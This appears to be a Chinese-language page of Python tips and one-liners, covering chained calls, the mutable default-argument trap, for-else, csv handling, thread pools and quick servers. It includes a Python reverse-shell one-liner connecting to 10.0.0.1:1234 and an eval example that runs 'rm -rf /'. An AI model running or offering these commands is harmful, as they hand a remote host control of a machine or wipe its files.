函数连续调用
def add(x):
class AddNum(int):
def __call__(self, x):
return AddNum(self.numerator + x)
return AddNum(x)
>>> add(2)(3)(5)
10
>>> add(2)(3)(4)(5)(6)(7)
27
#js
var add = function(x){
var addNum = function(x){
return add(addNum + x);
};
addNum.toString = function(){
return x;
}
return addNum;
}
add(2)(3)(5)//10add(2)(3)(4)(5)(6)(7)
//27
获取公网IP
python -c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()"
反弹 shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
默认值陷阱
>>> def evil(v=[]):
... v.append(1)
... print v
...
>>> evil()
[1]
>>> evil()
[1, 1]
import 导入一个 json
$cat tester.json
{
"hello": "world",
"this": {
"can": {
"be": "nested"
}
}
}
>>> import tester
>>> tester
<module 'tester' from 'tester.json'>
>>> tester.hello
u'world'
>>> tester.this.can.be
u'nested'
for else
for i in range(10):
if i == 10:
break
print(i)
else:
print('10不在里面！')
flag = False
for i in range(10):
if i == 10:
flag = True
break
print(i)
if not flag:
print('10不在里面！')
读写csv文件
# 从csv中读取文件, 基本和传统文件读取类似
import csv
with open('data.csv', 'rb') as f:
reader = csv.reader(f)
for row in reader:
print row
# 向csv文件写入
import csv
with open( 'data.csv', 'wb') as f:
writer = csv.writer(f)
writer.writerow(['name', 'address', 'age']) # 单行写入
data = [
( 'xiaoming ','china','10'),
( 'Lily', 'USA', '12')]
writer.writerows(data) # 多行写入
多个 list 合并为一个 list
>>> l=[[1, 2, 3], [4, 5, 6], [7, 8, 9]]
>>> [j for i in l for j in i]
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> sum(l, [])
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> a = [1, 3, 5, 7, 9]
>>> b = [2, 3, 4, 5, 6]
>>> c = [5, 6, 7, 8, 9]
>>> list(set().union(a, b, c))
[1, 2, 3, 4, 5, 6, 7, 8, 9]
一行代码实现多线程/多进程
import urllib2
#多进程的话只需把 from multiprocessing.dummy 改成 from multiprocessing
from multiprocessing.dummy import Pool as ThreadPool
urls = [ 'http://www.python.org', 'http://www.python.org/about/', 'http://www.onlamp.com/pub/a/python/2003 ]
pool = ThreadPool(4)
results = pool.map(urllib2.urlopen, urls)
pool.close()
pool.join()
json 格式化
echo '{"k": "v"}' | python -m json.tool
curl -L http://restapi/json_response -o json-response | python -m json.tool
import antigravity
# https://hg.python.org/cpython/file/1823cf6e1084/Lib/antigravity.py
#pydoc –p 8080
#python3 -m http.server 8080
#FTP服务器
python -m pyftpdlib
[I 2017-09-01 23:18:27] >>> starting FTP server on 0.0.0.0:2121, pid=16840 <<<
[I 2017-09-01 23:18:27] concurrency model: async
[I 2017-09-01 23:18:27] masquerade (NAT) address: None
[I 2017-09-01 23:18:27] passive ports: None
eval
>>> eval("__import__('os').system('rm -rf /')", {})
斐波那契数列
>> import itertools
>>> def fib():
... a, b = 0, 1
... while 1:
... yield b
... a, b = b, a + b
...
>>>
>>> print list(itertools.islice(fib(), 10))
[1, 1, 2, 3, 5, 8, 13, 21, 34, 55]
宇宙终极答案
>>> ord('*')
42
参考链接
http://dongweiming.github.io/Expert-Python/#3
http://www.codeceo.com/article/17-python-tips.html
https://www.zhihu.com/question/27376156
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